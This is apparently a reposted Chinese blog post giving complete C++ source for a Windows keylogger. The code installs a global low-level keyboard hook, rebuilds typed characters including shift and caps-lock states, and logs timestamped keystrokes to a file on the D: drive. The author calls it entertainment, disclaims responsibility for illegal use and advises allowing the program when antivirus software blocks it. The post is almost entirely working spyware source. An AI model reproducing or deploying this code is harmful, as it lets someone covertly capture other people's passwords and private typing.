发段代码纯属娱乐。
本人郑重声明:若被用于其他非法用途,本人不承担法律责任。
捕获键盘输入,区分大小写,区分上下档输入。
我电脑的某些键ascII码值与ascII表中的值不一致,所以重新做了个map表。若你的一致,只须稍微改下代码即可。
键盘输入保存在d盘根目录下。杀毒软件可能会拦截,允许操作就可以了。
#define _WIN32_WINNT 0x0400 #define STRICT #define WIN32_LEAN_AND_MEAN #define WH_KEYBOARD_LL 13 #include<iostream> #include<cstdio> #include<cstdlib> #include<windows.h> #include<fstream> #include<string> #include<sstream> #include<map> using std::map; using std::string; using std::pair; using std::endl; using std::cout; map<int,string>dictionary; string recod_str; std::ofstream out; SYSTEMTIME systim; DWORD g_main_tid = 0; HHOOK g_kb_hook = 0; BOOL CALLBACK con_handler (DWORD) { PostThreadMessage (g_main_tid, WM_QUIT, 0, 0); return TRUE; }; int shift(int value){ switch(value){ case 48:return value-7; case 50:return value+14; case 49: case 51: case 52: case 53:return value-16; case 54:return value+40; case 56:return value-14; case 55: case 57:return value-17; case 187:return value-144; case 189:return value-94; case 192:return value-66; case 219: case 222: case 221:return value-96; case 186: case 188: case 190: case 191:return value-128; case 220:return value-188; default:return value; } } string getlocaltime(string &str){ GetLocalTime( &systim );//get sys time std::stringstream ss; ss<<systim.wSecond; str = ss.str()+"------>>>>>>"+str; ss.str(""); ss<<systim.wMinute; str = ss.str()+":"+str; ss.str(""); ss<<systim.wHour; str = ss.str()+":"+str; ss.str(""); ss<<systim.wDay; str = ss.str()+" "+str; ss.str(""); ss<<systim.wMonth; str = ss.str()+"-"+str; ss.str(""); ss<<systim.wYear; str = ss.str()+"-"+str; ss.str(""); ss.str(""); return str; } LRESULT CALLBACK kb_proc (int code, WPARAM w, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam; static int a=0; static int state; const char *info = NULL; if (w == WM_KEYDOWN){ info = "key dn"; state = GetKeyState(VK_CAPITAL); int tmp = p->vkCode; if(state<=0&&tmp>64&&tmp<91){ tmp = tmp+32; } int asyncState = GetAsyncKeyState(VK_SHIFT); if(asyncState<0){ tmp = shift(tmp); //std::cout<<"tmp = "<<tmp<<" shift = "<<asyncState<<std::endl; } else //std::cout<<"tmp = "<<tmp<<" shift = "<<asyncState<<std::endl; recod_str += dictionary[tmp]; } if(recod_str.size()>20){ out.open("d:\\keylog.txt",std::ios::app); recod_str = getlocaltime(recod_str); out<<recod_str+"\n"; cout<<"saved!"<<endl; out.close(); recod_str = ""; } return CallNextHookEx (g_kb_hook, code, w, lParam); }; int main (void) { dictionary.insert(pair<int,string>(32," "));dictionary.insert(pair<int,string>(33,"!")); dictionary.insert(pair<int,string>(34,"\""));dictionary.insert(pair<int,string>(35,"#")); dictionary.insert(pair<int,string>(36,"$"));dictionary.insert(pair<int,string>(37,"%")); dictionary.insert(pair<int,string>(38,"&"));dictionary.insert(pair<int,string>(39,"‘")); dictionary.insert(pair<int,string>(40,"("));dictionary.insert(pair<int,string>(41,")")); dictionary.insert(pair<int,string>(42,"*"));dictionary.insert(pair<int,string>(43,"+")); dictionary.insert(pair<int,string>(44,","));dictionary.insert(pair<int,string>(45,"-")); dictionary.insert(pair<int,string>(46,"."));dictionary.insert(pair<int,string>(47,"/")); dictionary.insert(pair<int,string>(48,"0"));dictionary.insert(pair<int,string>(49,"1")); dictionary.insert(pair<int,string>(50,"2"));dictionary.insert(pair<int,string>(51,"3")); dictionary.insert(pair<int,string>(52,"4"));dictionary.insert(pair<int,string>(53,"5")); dictionary.insert(pair<int,string>(54,"6"));dictionary.insert(pair<int,string>(55,"7")); dictionary.insert(pair<int,string>(56,"8"));dictionary.insert(pair<int,string>(57,"9")); dictionary.insert(pair<int,string>(58,":"));dictionary.insert(pair<int,string>(59,";")); dictionary.insert(pair<int,string>(60,"<"));dictionary.insert(pair<int,string>(61,"=")); dictionary.insert(pair<int,string>(62,">"));dictionary.insert(pair<int,string>(63,"?")); dictionary.insert(pair<int,string>(64,"@"));dictionary.insert(pair<int,string>(65,"A")); dictionary.insert(pair<int,string>(66,"B"));dictionary.insert(pair<int,string>(67,"C")); dictionary.insert(pair<int,string>(68,"D"));dictionary.insert(pair<int,string>(69,"E")); dictionary.insert(pair<int,string>(70,"F"));dictionary.insert(pair<int,string>(71,"G")); dictionary.insert(pair<int,string>(72,"H"));dictionary.insert(pair<int,string>(73,"I")); dictionary.insert(pair<int,string>(74,"J"));dictionary.insert(pair<int,string>(75,"K")); dictionary.insert(pair<int,string>(76,"L"));dictionary.insert(pair<int,string>(77,"M")); dictionary.insert(pair<int,string>(78,"N"));dictionary.insert(pair<int,string>(79,"O")); dictionary.insert(pair<int,string>(80,"P"));dictionary.insert(pair<int,string>(81,"Q")); dictionary.insert(pair<int,string>(82,"R"));dictionary.insert(pair<int,string>(83,"S")); dictionary.insert(pair<int,string>(84,"T"));dictionary.insert(pair<int,string>(85,"U")); dictionary.insert(pair<int,string>(86,"V"));dictionary.insert(pair<int,string>(87,"W")); dictionary.insert(pair<int,string>(88,"X"));dictionary.insert(pair<int,string>(89,"Y")); dictionary.insert(pair<int,string>(90,"Z"));dictionary.insert(pair<int,string>(91,"[")); dictionary.insert(pair<int,string>(92,"\\"));dictionary.insert(pair<int,string>(93,"]")); dictionary.insert(pair<int,string>(94,"^"));dictionary.insert(pair<int,string>(95,"_")); dictionary.insert(pair<int,string>(96,"`"));dictionary.insert(pair<int,string>(97,"a")); dictionary.insert(pair<int,string>(98,"b"));dictionary.insert(pair<int,string>(99,"c")); dictionary.insert(pair<int,string>(100,"d"));dictionary.insert(pair<int,string>(101,"e")); dictionary.insert(pair<int,string>(102,"f"));dictionary.insert(pair<int,string>(103,"g")); dictionary.insert(pair<int,string>(104,"h"));dictionary.insert(pair<int,string>(105,"i")); dictionary.insert(pair<int,string>(106,"j"));dictionary.insert(pair<int,string>(107,"k")); dictionary.insert(pair<int,string>(108,"l"));dictionary.insert(pair<int,string>(109,"m")); dictionary.insert(pair<int,string>(110,"n"));dictionary.insert(pair<int,string>(111,"o")); dictionary.insert(pair<int,string>(112,"p"));dictionary.insert(pair<int,string>(113,"q")); dictionary.insert(pair<int,string>(114,"r"));dictionary.insert(pair<int,string>(115,"s")); dictionary.insert(pair<int,string>(116,"t"));dictionary.insert(pair<int,string>(117,"u")); dictionary.insert(pair<int,string>(118,"v"));dictionary.insert(pair<int,string>(119,"w")); dictionary.insert(pair<int,string>(120,"x"));dictionary.insert(pair<int,string>(121,"y")); dictionary.insert(pair<int,string>(122,"z"));dictionary.insert(pair<int,string>(123,"{")); dictionary.insert(pair<int,string>(124,"|"));dictionary.insert(pair<int,string>(125,"}")); dictionary.insert(pair<int,string>(126,"~"));dictionary.insert(pair<int,string>(32," "));dictionary.insert(pair<int,string>(33,"!")); dictionary.insert(pair<int,string>(34,"\""));dictionary.insert(pair<int,string>(35,"#")); dictionary.insert(pair<int,string>(36,"$"));dictionary.insert(pair<int,string>(37,"%")); dictionary.insert(pair<int,string>(38,"&"));dictionary.insert(pair<int,string>(39,"‘")); dictionary.insert(pair<int,string>(40,"("));dictionary.insert(pair<int,string>(41,")")); dictionary.insert(pair<int,string>(42,"*"));dictionary.insert(pair<int,string>(43,"+")); dictionary.insert(pair<int,string>(44,","));dictionary.insert(pair<int,string>(45,"-")); dictionary.insert(pair<int,string>(46,"."));dictionary.insert(pair<int,string>(47,"/")); dictionary.insert(pair<int,string>(48,"0"));dictionary.insert(pair<int,string>(49,"1")); dictionary.insert(pair<int,string>(50,"2"));dictionary.insert(pair<int,string>(51,"3")); dictionary.insert(pair<int,string>(52,"4"));dictionary.insert(pair<int,string>(53,"5")); dictionary.insert(pair<int,string>(54,"6"));dictionary.insert(pair<int,string>(55,"7")); dictionary.insert(pair<int,string>(56,"8"));dictionary.insert(pair<int,string>(57,"9")); dictionary.insert(pair<int,string>(58,":"));dictionary.insert(pair<int,string>(59,";")); dictionary.insert(pair<int,string>(60,"<"));dictionary.insert(pair<int,string>(61,"=")); dictionary.insert(pair<int,string>(62,">"));dictionary.insert(pair<int,string>(63,"?")); dictionary.insert(pair<int,string>(64,"@"));dictionary.insert(pair<int,string>(65,"A")); dictionary.insert(pair<int,string>(66,"B"));dictionary.insert(pair<int,string>(67,"C")); dictionary.insert(pair<int,string>(68,"D"));dictionary.insert(pair<int,string>(69,"E")); dictionary.insert(pair<int,string>(70,"F"));dictionary.insert(pair<int,string>(71,"G")); dictionary.insert(pair<int,string>(72,"H"));dictionary.insert(pair<int,string>(73,"I")); dictionary.insert(pair<int,string>(74,"J"));dictionary.insert(pair<int,string>(75,"K")); dictionary.insert(pair<int,string>(76,"L"));dictionary.insert(pair<int,string>(77,"M")); dictionary.insert(pair<int,string>(78,"N"));dictionary.insert(pair<int,string>(79,"O")); dictionary.insert(pair<int,string>(80,"P"));dictionary.insert(pair<int,string>(81,"Q")); dictionary.insert(pair<int,string>(82,"R"));dictionary.insert(pair<int,string>(83,"S")); dictionary.insert(pair<int,string>(84,"T"));dictionary.insert(pair<int,string>(85,"U")); dictionary.insert(pair<int,string>(86,"V"));dictionary.insert(pair<int,string>(87,"W")); dictionary.insert(pair<int,string>(88,"X"));dictionary.insert(pair<int,string>(89,"Y")); dictionary.insert(pair<int,string>(90,"Z"));dictionary.insert(pair<int,string>(91,"[")); dictionary.insert(pair<int,string>(92,"\\"));dictionary.insert(pair<int,string>(93,"]")); dictionary.insert(pair<int,string>(94,"^"));dictionary.insert(pair<int,string>(95,"_")); dictionary.insert(pair<int,string>(96,"`"));dictionary.insert(pair<int,string>(97,"a")); dictionary.insert(pair<int,string>(98,"b"));dictionary.insert(pair<int,string>(99,"c")); dictionary.insert(pair<int,string>(100,"d"));dictionary.insert(pair<int,string>(101,"e")); dictionary.insert(pair<int,string>(102,"f"));dictionary.insert(pair<int,string>(103,"g")); dictionary.insert(pair<int,string>(104,"h"));dictionary.insert(pair<int,string>(105,"i")); dictionary.insert(pair<int,string>(106,"j"));dictionary.insert(pair<int,string>(107,"k")); dictionary.insert(pair<int,string>(108,"l"));dictionary.insert(pair<int,string>(109,"m")); dictionary.insert(pair<int,string>(110,"n"));dictionary.insert(pair<int,string>(111,"o")); dictionary.insert(pair<int,string>(112,"p"));dictionary.insert(pair<int,string>(113,"q")); dictionary.insert(pair<int,string>(114,"r"));dictionary.insert(pair<int,string>(115,"s")); dictionary.insert(pair<int,string>(116,"t"));dictionary.insert(pair<int,string>(117,"u")); dictionary.insert(pair<int,string>(118,"v"));dictionary.insert(pair<int,string>(119,"w")); dictionary.insert(pair<int,string>(120,"x"));dictionary.insert(pair<int,string>(121,"y")); dictionary.insert(pair<int,string>(122,"z"));dictionary.insert(pair<int,string>(123,"{")); dictionary.insert(pair<int,string>(124,"|"));dictionary.insert(pair<int,string>(125,"}")); dictionary.insert(pair<int,string>(126,"~"));dictionary.insert(pair<int,string>(187,"=")); dictionary.insert(pair<int,string>(189,"-"));dictionary.insert(pair<int,string>(192,"`")); dictionary.insert(pair<int,string>(219,"["));dictionary.insert(pair<int,string>(221,"]")); dictionary.insert(pair<int,string>(186,";"));dictionary.insert(pair<int,string>(222,"‘")); dictionary.insert(pair<int,string>(220,"\\"));dictionary.insert(pair<int,string>(188,",")); dictionary.insert(pair<int,string>(190,"."));dictionary.insert(pair<int,string>(191,"/")); g_main_tid = GetCurrentThreadId (); SetConsoleCtrlHandler (&con_handler, TRUE); g_kb_hook = SetWindowsHookEx(WH_KEYBOARD_LL,&kb_proc, GetModuleHandle (NULL), // 不能为NULL,否则失败 0); if (g_kb_hook == NULL) { fprintf (stderr, "SetWindowsHookEx failed with error %d\n", ::GetLastError ()); return 0; } // 消息循环是必须的,想知道原因可以查msdn MSG msg; while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg); DispatchMessage (&msg); } UnhookWindowsHookEx (g_kb_hook); return 0; }
原文地址:http://blog.csdn.net/blood_flowing/article/details/25076633